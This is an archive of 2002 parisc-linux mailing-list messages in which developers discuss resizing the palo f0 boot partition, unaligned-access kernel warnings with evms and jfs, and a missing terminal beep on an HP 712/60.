Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
"There are two ways of constructing a software design: One way is to
make it so simple that there are obviously no deficiencies, and the
other way is to make it so complicated that there are no obvious
deficiencies. The first method is far more difficult." 
 -C.A.R. Hoare




From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo, f0 partition (Re: Network install on 712/80)
Date: Wed, 3 Apr 2002 17:35:17 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20020403163517.GZ18391@sleepie.demon.co.uk>
References: <E16q3vH-000828-00.2002-03-27-03-16-27@mail4.svr.pol.co.uk> <20020402171039.GM18391@sleepie.demon.co.uk> <E16sSNd-0003KJ-00.2002-04-02-18-47-37@mail4.svr.pol.co.uk> <20020402181145.GO18391@sleepie.demon.co.uk> <E16smnd-0000BK-00@palinux.fc.hp.com> <20020403154028.GA7903@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621208 5971 80.91.229.3 (22 Nov 2014 01:53:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:28 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  3 09:52:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2D5D482A
	for <parisc-linux@parisc-linux.org>; Wed,  3 Apr 2002 09:52:27 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id C7B059E96C; Wed,  3 Apr 2002 17:35:17 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020403154028.GA7903@charite.de>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14499

On Wed, Apr 03, 2002 at 05:40:28PM +0200, Ralf Hildebrandt wrote:
> On Wed, Apr 03, 2002 at 08:35:49AM -0700, Paul Bame wrote:
> > 
> > The f0 partition needs to be able to hold one recovery kernel plus 265k plus
> > some roundoff -- so minimum size should probably be 8M just to be safe.
> > 
> > f0 is capable of holding both a narrow and a wide kernel plus a ramdisk,
> > which is how the installer works.  After woody perhaps we can arrange
> > for the install to put a recovery ramdisk as well as the customary
> > recovery kernel, into the f0 partition.  For that, 16M is probably
> > a good size.
> 
> So, can I use "parted" to resize it?

Don't know what parted would make of that; it doesn't understand about
'f0' partitions, so may not let you try to resize them.  You could
probably use parted to make enough space for a bigger one, then use
fdisk to actually create it.  you could use parted to create it, but
parted wont let you set the type to 'f0'.

Richard




From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] "unaligned access to ... at ip=..." problem with evms and jfs
Date: Wed, 03 Apr 2002 19:24:13 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <1017854653.3cab3abdab486@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621208 5974 80.91.229.3 (22 Nov 2014 01:53:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  3 10:24:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92955482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Apr 2002 10:24:20 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16soUX-0006ng-00; Wed, 03 Apr 2002 19:24:13 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14500

Hi all,

Thoses problems are not linked but similar by nature:

with evms-1.0.0, I still got thousand of messages:
Apr  3 19:05:48 palinux kernel: evms_lvdisplay(900): unaligned access to
0x0002461e at ip=0x40208b53

and with jfs-1.0.17:
Apr  3 19:11:24 palinux kernel: fsck.jfs(1483): unaligned access to 0xbff00717
at ip=0x0002eb3f

It seems harmless but not sure.

I query the ml db and found similar problems (and its solution :_) )(reiserfs:
http://lists.parisc-linux.org/hypermail/parisc-linux/5862.html), but I do not
very well understand what I have to find the sources (_u32* ?).

Thanks in advance for additional help,
    Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "unaligned access to ... at ip=..." problem with evms and jfs
Date: Wed, 3 Apr 2002 10:13:37 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20020403181337.GA3759@tausq.org>
References: <1017854653.3cab3abdab486@webmail.tiscalinet.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621209 5977 80.91.229.3 (22 Nov 2014 01:53:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  3 11:13:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id F277A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Apr 2002 11:13:50 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id tpoimaaa for parisc-linux@lists.parisc-linux.org; Wed, 3 Apr 2002 11:12:53 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 16spGL-00029v-00; Wed, 03 Apr 2002 10:13:37 -0800
Content-Disposition: inline
In-Reply-To: <1017854653.3cab3abdab486@webmail.tiscalinet.be>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14501

> It seems harmless but not sure.

well.... in general this is not a problem, however....

Fleedwood found a bug in the unaligned handler last week. it doesn't
handle the pre/post increment cases of load and store, and there may be
some cases where these messages will indicate the cause of errors.

I'll look into fixing this, but it might take some time.

> I query the ml db and found similar problems (and its solution :_) )(reiserfs:
> http://lists.parisc-linux.org/hypermail/parisc-linux/5862.html), but I do not
> very well understand what I have to find the sources (_u32* ?).

it depends, you need to make sure all the memory accesses happen on
natural boundaries...  (e.g. int on 4 byte boundaries, short on 2 byte
boundaries, etc). From the ip reported by the unaligned message you
should be able to trace back to the asm insn and function (if your
objects are not stripped) that is causing the unaligned access.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Missing beep
Date: Wed, 03 Apr 2002 16:33:00 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <009e01c1db57$21207ee0$02c1a8c0@james.co.uk>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621209 5979 80.91.229.3 (22 Nov 2014 01:53:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  3 14:33:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id A81B1482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Apr 2002 14:33:02 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout01.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GU000GTFH70S1@mtaout01.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Wed, 03 Apr 2002 16:33:00 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14502

I'm trying to generate  a beep from a bash shell script on my 712/60

the command i'm using is 

echo -e "\a"

which on a i486 box running kernel 2.2.19 & bash version 2.03 does beep

the 712/60 is running kernel 2.4.17-32, bash version 2.05a.0 doesnt

any ideas anybody ?

Thanks

James S









From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep
Date: Wed, 03 Apr 2002 23:33:54 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20020404063354.5428C482A@dsl2.external.hp.com>
References: <009e01c1db57$21207ee0$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621209 5981 80.91.229.3 (22 Nov 2014 01:53:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James S <smithjames@comcast.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  3 23:33:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5428C482A; Wed,  3 Apr 2002 23:33:54 -0700 (MST)
In-Reply-To: Message from James S <smithjames@comcast.net> 
   of "Wed, 03 Apr 2002 16:33:00 EST." <009e01c1db57$21207ee0$02c1a8c0@james.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14503

James S wrote:
> I'm trying to generate  a beep from a bash shell script on my 712/60

Do you know if the audio driver is working for you in general?
ie mpg321 works?

grant



From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "unaligned access to ... at ip=..." problem with evms and jfs
Date: Thu, 04 Apr 2002 11:46:06 +0200 (CEST)
Lines: 48
Approved: news@gmane.org
Message-ID: <1017913566.3cac20de230de@webmail.tiscalinet.be>
References: <1017854653.3cab3abdab486@webmail.tiscalinet.be> <20020403181337.GA3759@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621210 5983 80.91.229.3 (22 Nov 2014 01:53:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:30 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 02:47:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB911482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 02:47:18 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16t3ok-0000Oa-00; Thu, 04 Apr 2002 11:46:06 +0200
In-Reply-To: <20020403181337.GA3759@tausq.org>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14504

Quoting Randolph Chung <randolph@tausq.org>:

> > It seems harmless but not sure.
> 
> well.... in general this is not a problem, however....
> 
> Fleedwood found a bug in the unaligned handler last week. it doesn't
> handle the pre/post increment cases of load and store, and there may be
> some cases where these messages will indicate the cause of errors.
> 
> I'll look into fixing this, but it might take some time.
> 

Well I will be patient as till now (at least a month) evms seems to works
correctly :-)

> > I query the ml db and found similar problems (and its solution :_)
> )(reiserfs:
> > http://lists.parisc-linux.org/hypermail/parisc-linux/5862.html), but I
> do not
> > very well understand what I have to find the sources (_u32* ?).
> 
> it depends, you need to make sure all the memory accesses happen on
> natural boundaries...  (e.g. int on 4 byte boundaries, short on 2 byte
> boundaries, etc). From the ip reported by the unaligned message you
> should be able to trace back to the asm insn and function (if your
> objects are not stripped) that is causing the unaligned access.

Humm... in evms (not yet investigate jfs) I notice that 4-byte variables are
pass to function parameters actualy 2-byte without casting. Could this be a reason?

> 
> randolph
> -- 
>    @..@                                         http://www.TauSq.org/
>   (----)
>  ( >__< )
>  ^^ ~~ ^^
> 
> 

Thanks for explanation,
    Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "unaligned access to ... at ip=..." problem with evms and jfs
Date: Thu, 4 Apr 2002 10:46:35 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200204041546.g34FkZwt010003@hiauly1.hia.nrc.ca>
References: <1017913566.3cac20de230de@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621210 5986 80.91.229.3 (22 Nov 2014 01:53:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:30 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 08:46:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75B55482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 08:46:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g34FkbFN010004;
	Thu, 4 Apr 2002 10:46:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g34FkZwt010003;
	Thu, 4 Apr 2002 10:46:35 -0500 (EST)
In-Reply-To: <1017913566.3cac20de230de@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Apr 4, 2002 11:46:06 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14505

> Quoting Randolph Chung <randolph@tausq.org>:
> 
> > > It seems harmless but not sure.
> > 
> > well.... in general this is not a problem, however....
> > 
> > Fleedwood found a bug in the unaligned handler last week. it doesn't
> > handle the pre/post increment cases of load and store, and there may be
> > some cases where these messages will indicate the cause of errors.
> > 
> > I'll look into fixing this, but it might take some time.
> > 
> 
> Well I will be patient as till now (at least a month) evms seems to works
> correctly :-)

We used to have a huge number of page faults filling log files on gsyprf11.
This was mysteriously fixed a few weeks ago.  Anybody know what fixed the
problem?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep
Date: Thu, 04 Apr 2002 11:58:21 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <006901c1dbf9$ed82da80$02c1a8c0@james.co.uk>
References: <009e01c1db57$21207ee0$02c1a8c0@james.co.uk>
 <20020404063354.5428C482A@dsl2.external.hp.com>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621210 5989 80.91.229.3 (22 Nov 2014 01:53:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 09:58:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B1CE482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 09:58:23 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout02.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GU100D7HZ59UV@mtaout02.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Thu, 04 Apr 2002 11:58:22 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14506

> Do you know if the audio driver is working for you in general?
> ie mpg321 works?
>
> grant
>

yes it does & can play mp3s, but surely the 'beep' is independant of the
sound driver - the 486 has no sound card, for example.

James S





From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep
Date: Thu, 4 Apr 2002 18:00:48 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20020404180048.D27682@parcelfarce.linux.theplanet.co.uk>
References: <009e01c1db57$21207ee0$02c1a8c0@james.co.uk> <20020404063354.5428C482A@dsl2.external.hp.com> <006901c1dbf9$ed82da80$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621210 5992 80.91.229.3 (22 Nov 2014 01:53:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James S <smithjames@comcast.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 10:00:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBDD0482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 10:00:52 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16tAbQ-0005TY-00; Thu, 04 Apr 2002 18:00:48 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <006901c1dbf9$ed82da80$02c1a8c0@james.co.uk>; from smithjames@comcast.net on Thu, Apr 04, 2002 at 11:58:21AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14507

On Thu, Apr 04, 2002 at 11:58:21AM -0500, James S wrote:
> yes it does & can play mp3s, but surely the 'beep' is independant of the
> sound driver - the 486 has no sound card, for example.

Don't confuse the random PC architecture with the way that real systems work.
